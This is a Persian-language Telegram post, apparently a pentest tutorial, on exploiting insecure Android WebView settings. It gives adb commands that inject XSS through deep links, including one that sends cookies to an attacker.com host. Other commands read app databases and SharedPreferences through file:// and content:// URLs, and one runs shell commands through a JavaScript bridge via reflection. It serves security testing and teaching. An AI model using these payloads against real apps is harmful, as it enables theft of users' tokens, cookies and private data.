TGViewer
Security Analysis Security Analysis @securation · 12.3K subscribers
Post #1936 3.43K
⭕️ پنتست کامپوننت اپ های اندرویدی پارت دوم - وب ویو (Insecure WebView)

آسیب پذیری های رایج وب ویو به شرح زیر است

1) setJavaScriptEnabled(true)
فعال شدن جاوااسکریپت = راه ورود XSS. مهاجم می‌تونه اسکریپت مخرب تزریق کنه و توکن یا اطلاعات کاربر رو بدزده.

# تزریق مستقیم javascript در WebView
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert('XSS')"

# تزریق از طریق دیپ لینک با payload
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://webview?url=javascript:document.location='http://attacker.com/steal?c='document.cookie"

2) setAllowUniversalAccessFromFileUrls(true)
اجازه میده فایل‌های HTML به همه فایل‌ scheme ها و محتوای هر origin دیگه ای دسترسی داشته باشن (دیسیبل شدن SOP). مهاجم می‌تونه فایل‌های دیتابیس و SharedPreferences رو بخونه.

# خواندن فایل SharedPreferences
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/shared_prefs/config.xml"

# خواندن دیتابیس اپ
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/databases/app.db"

3) addJavascriptInterface
بسیار خطرناک! مهاجم می‌تونه از طریق JS، متدهای کلاس متصل شده رو فراخوانی کنه و به کد native دسترسی پیدا کنه → RCE کامل روی دستگاه.

# تست وجود interface با alert
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert(Object.keys(window))"

# اگر interface با نام "bridge" وجود داشت، اجرای فرمان
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getClass().forName('java.lang.Runtime').getMethod('exec','java.lang.String[]').invoke(null,['su','-c','id'])"

#فراخوانی یک متد از کلاس جاوا و نشت توکن کاربر(تنها در صورتی که متد در کلاس جاوا تعریف شده باشد)
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getUserToken()"

4) setAllowContentAccess(true)
اجازه دسترسی به Content Provider ها از طریق content://، مهاجم می‌تونه دیتابیس‌های داخلی، مخاطبین، یا فایل‌های حساس اپ رو بدزده.

# دسترسی به دیتابیس اپ از طریق Content Provider
adb shell am start -n com.target.app/.WebViewActivity -d "content://com.target.app.provider/users"

# دسترسی به مخاطبین دستگاه (اگر Permission داشته باشه)
adb shell am start -n com.target.app/.WebViewActivity -d "content://contacts/phones/"

5) لود URL از ورودی کاربر
اگر loadUrl() مقدارش از Intent، دیپ لینک یا هر ورودی خارجی بیاد، مهاجم می‌تونه حملات زیر رو ترتیب بده:

Scheme           | حمله                               
-----------------+------------------------------------
`javascript://` | XSS
`file://` | خواندن فایل
`intent://` | ریدایرکت به اکتیویتی غیراکسپورت شده
`data:text/html` | XSS مستقیم

# تست javascript scheme
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=javascript:alert('xss')"

# تست file scheme برای خواندن فایل
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/token.xml"

# تست intent scheme برای ردایرکت به Activity غیر اکسپورت شده
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=intent:#Intent;component=com.target.app/.PrivateActivity;end"

# تست data:text/html برای XSS مستقیم
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=data:text/html,<script>alert('XSS')</script>"


📌 نکته مهم

وب ویویی که exported نباشد، فقط لانچ مستقیم را مسدود می‌کند. اگر اپ از طریق deeplink، Notification، Broadcast، یا Content Provider به WebView برسد، همه آسیب‌پذیری‌ها همچنان قابل بهره‌برداری هستند.

پس در پنتست:

• اول مسیرهای رسیدن به WebView را پیدا کنید! (deeplink، Broadcast، Content Provider)
• بعد آن مسیرها را برای ارسال payloadهای مخرب تست کن

چک‌لیست پنتست:

• مسیرهای رسیدن به WebView رو پیدا کن (deeplink، Broadcast، Content Provider)
• تست XSS با javascript:alert()
• تست خواندن فایل با file:///data/data/...
• تست JavaScript Interface با Object.keys(window)
• تست Content Provider با content://...

@securation
#Android #RE #Owasp #Mastg #webview
  • 🔥 10
  • 🤣 2
More from @securation
  1. Oct 5, 2026⭕️ خطرات امنیتی پنهان در فناوری Direct-to-Cell (D2C) فناوری Direct-to-Cell این امکان را فر…
  2. Oct 5, 2026⭕️ارتباطات ماهواره‌ای استارلینک و فناوری‌های سلولی منابع ارائه شده به بررسی جامع فناوری ار…
  3. Sep 28, 2026ترس توی ذهن آدم با فکر کردن بزرگتر میشه. اما وقتی دست به اقدام میزنی کوچیکتر میشه. @secura…
  4. Sep 27, 2026⭕️مهندسی معکوس و دور زدن محدودیت‌های نرم‌افزاری با OpenClaw و Codex این منابع راهنمای جامع…
  5. Sep 25, 2026⭕️نقش AI در جاهای کاربردی اینشکلی هست که الان بعنوان مثال اوبونتو به انتشار هفتگی به‌روزرس…
  6. Sep 23, 2026خبر خوب اول مهر اینکه یک زیرودی به اپل گزارش داده بودم ، فیکس کردن و گزارش رو هم بدون تشکر…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →